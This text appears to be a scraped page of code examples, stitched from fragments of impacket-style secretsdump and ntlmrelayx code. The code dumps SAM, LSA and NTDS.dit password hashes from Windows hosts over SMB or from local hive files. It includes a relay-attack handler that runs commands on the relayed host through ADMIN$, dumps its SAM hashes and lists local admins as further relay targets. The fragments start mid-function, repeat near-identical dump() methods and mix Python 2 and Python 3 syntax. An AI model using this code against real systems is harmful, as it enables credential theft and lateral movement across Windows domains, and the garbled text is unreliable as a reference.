                        NTDS_file_name = self.__remote_ops.saveNTDS()
                    else:
                        NTDS_file_name = None
                else:
                    NTDS_file_name = self.__ntds_file

                self.__NTDS_hashes = NTDSHashes(
                    NTDS_file_name,
                    bootkey,
                    isRemote=self.__is_remote,
                    noLMHash=self.__no_lmhash,
                    remoteOps=self.__remote_ops,
                    useVSSMethod=self.__use_VSS_method,
                    justNTLM=self.__just_DC_NTLM,
                )
                try:
                    self.__NTDS_hashes.dump()
                except Exception as e:
                    logger.debug(traceback.print_exc())
                    if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
                        # We don't store the resume file if this error happened, since this error
                        # is related to lack
                        # of enough privileges to access DRSUAPI.
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                    logger.error(e)
                    if self.__use_VSS_method is False:
                        logger.error(
                            "Something wen't wrong with the DRSUAPI approach. Try again with "
                            "-use-vss parameter")
                self.cleanup()
            except (Exception, KeyboardInterrupt) as e:
                logger.debug(traceback.print_exc())
                logger.error(e)
                if self.__NTDS_hashes is not None:
                    if isinstance(e, KeyboardInterrupt):
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                try:
                    self.cleanup()
                except Exception:
                    pass
            finally:
                dumped_secrets = (output_captor.get_captured_stdout_output()
                                  )  # includes hashes and kerberos keys
                return dumped_secrets

    def cleanup(self):
        logger.debug("Cleaning up...")
        if self.__remote_ops:
            self.__remote_ops.finish()
        if self.__SAM_hashes:
            self.__SAM_hashes.finish()
        if self.__LSA_secrets:
            self.__LSA_secrets.finish()
        if self.__NTDS_hashes:
            self.__NTDS_hashes.finish()
class DumpSecrets:
    def __init__(self,
                 remoteName,
                 username='',
                 password='',
                 domain='',
                 options=None):
        self.__useVSSMethod = False
        self.__remoteName = 'LOCAL'
        self.__remoteHost = 'LOCAL'
        self.__username = None
        self.__password = None
        self.__domain = None
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = None
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = None
        self.__bootkey = None
        self.__securityHive = None
        self.__samHive = None
        self.__ntdsFile = None
        self.__history = None
        self.__noLMHash = True
        self.__isRemote = False
        self.__outputFileName = None
        self.__doKerberos = None
        self.__justDC = False
        self.__justDCNTLM = False
        self.__justUser = None
        self.__pwdLastSet = None
        self.__printUserStatus = None
        self.__resumeFileName = None
        self.__canProcessSAMLSA = True
        self.__kdcHost = None
        self.__options = options

    def dump(self, sam, security, system, outfile):
        #Give proper credit.
        print(version.BANNER)
        #Start logger.
        #logger.init(False)
        logging.getLogger().setLevel(logging.INFO)
        self.__outputFileName = outfile
        # We only do local dumping, so sam, security, system.
        try:
            if self.__remoteName.upper(
            ) == 'LOCAL' and self.__username == None:
                self.__isRemote = False
                self.__useVSSMethod = True
                localOperations = LocalOperations(system)
                bootKey = localOperations.getBootKey()

            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = sam

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = security

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote,
                                                   history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()
    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        raise

                    self.__remoteOps = RemoteOperations(
                        self.__smbConnection, False)
                    self.__remoteOps.setExecMethod(None)
                    if self.__justDC is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy(
                        )
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED'
                                   ) and os.getenv('KRB5CCNAME') is not None:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error(
                            'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user'
                        )
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))
            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = self.__samHive

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))
            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile
            self.__NTDSHashes = NTDSHashes(
                NTDSFileName,
                bootKey,
                isRemote=self.__isRemote,
                noLMHash=self.__noLMHash,
                remoteOps=self.__remoteOps,
                useVSSMethod=self.__useVSSMethod,
                outputFileName=self.__outputFileName)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__useVSSMethod is False:
                    logging.info(
                        'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter'
                    )
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass
    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus= self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer =  input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass
Exemple #16
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(self.__answerTMP.decode(self.config.encoding, 'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception as e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Exemple #17
0
        flags2 |= SMB.FLAGS2_LONG_NAMES
        connection.getSMBServer().set_flags(flags2=flags2)

        remoteOps = RemoteOperations(connection, False)
        remoteOps.enableRegistry()
    except Exception, e:
        logging.error(str(e))
        return

    try:
        bootKey = remoteOps.getBootKey()
        remoteOps._RemoteOperations__serviceDeleted = True
        samFileName = remoteOps.saveSAM()

        samHashes = SAMHashes(samFileName,
                              bootKey,
                              isRemote=True,
                              perSecretCallback=secretsdump_callback)

        samHashes.dump()
        logging.info("Done dumping SAM hashes for host: %s",
                     connection.getRemoteHost())
    except Exception, e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
    finally:
        if samHashes is not None:
            samHashes.finish()
        if remoteOps is not None:
            remoteOps.finish()
class DumpSecrets:
    def __init__(self,
                 remoteName,
                 username='',
                 password='',
                 domain='',
                 options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus = options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName,
                                             self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username,
                                               self.__password, self.__domain,
                                               self.__lmhash, self.__nthash,
                                               self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password,
                                       self.__domain, self.__lmhash,
                                       self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                        # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv(
                                'KRB5CCNAME'
                        ) is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug(
                                'SMBConnection didn\'t work, hoping Kerberos will help (%s)'
                                % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps = RemoteOperations(
                        self.__smbConnection, self.__doKerberos,
                        self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy(
                        )
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error(
                            'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user'
                        )
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = self.__samHive

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote,
                                                   history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(
                NTDSFileName,
                bootKey,
                isRemote=self.__isRemote,
                history=self.__history,
                noLMHash=self.__noLMHash,
                remoteOps=self.__remoteOps,
                useVSSMethod=self.__useVSSMethod,
                justNTLM=self.__justDCNTLM,
                pwdLastSet=self.__pwdLastSet,
                resumeSession=self.__resumeFileName,
                outputFileName=self.__outputFileName,
                justUser=self.__justUser,
                printUserStatus=self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find(
                        "ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
                    logging.info(
                        "You just got that error because there might be some duplicates of the same name. "
                        "Try specifying the domain name for the user as well. It is important to specify it "
                        "in the form of NetBIOS domain name/user (e.g. contoso/Administratror)."
                    )
                elif self.__useVSSMethod is False:
                    logging.info(
                        'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter'
                    )
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()
    def dump(self, sam, security, system, outfile):
        #Give proper credit.
        print(version.BANNER)
        #Start logger.
        #logger.init(False)
        logging.getLogger().setLevel(logging.INFO)
        self.__outputFileName = outfile
        # We only do local dumping, so sam, security, system.
        try:
            if self.__remoteName.upper(
            ) == 'LOCAL' and self.__username == None:
                self.__isRemote = False
                self.__useVSSMethod = True
                localOperations = LocalOperations(system)
                bootKey = localOperations.getBootKey()

            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = sam

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = security

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote,
                                                   history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass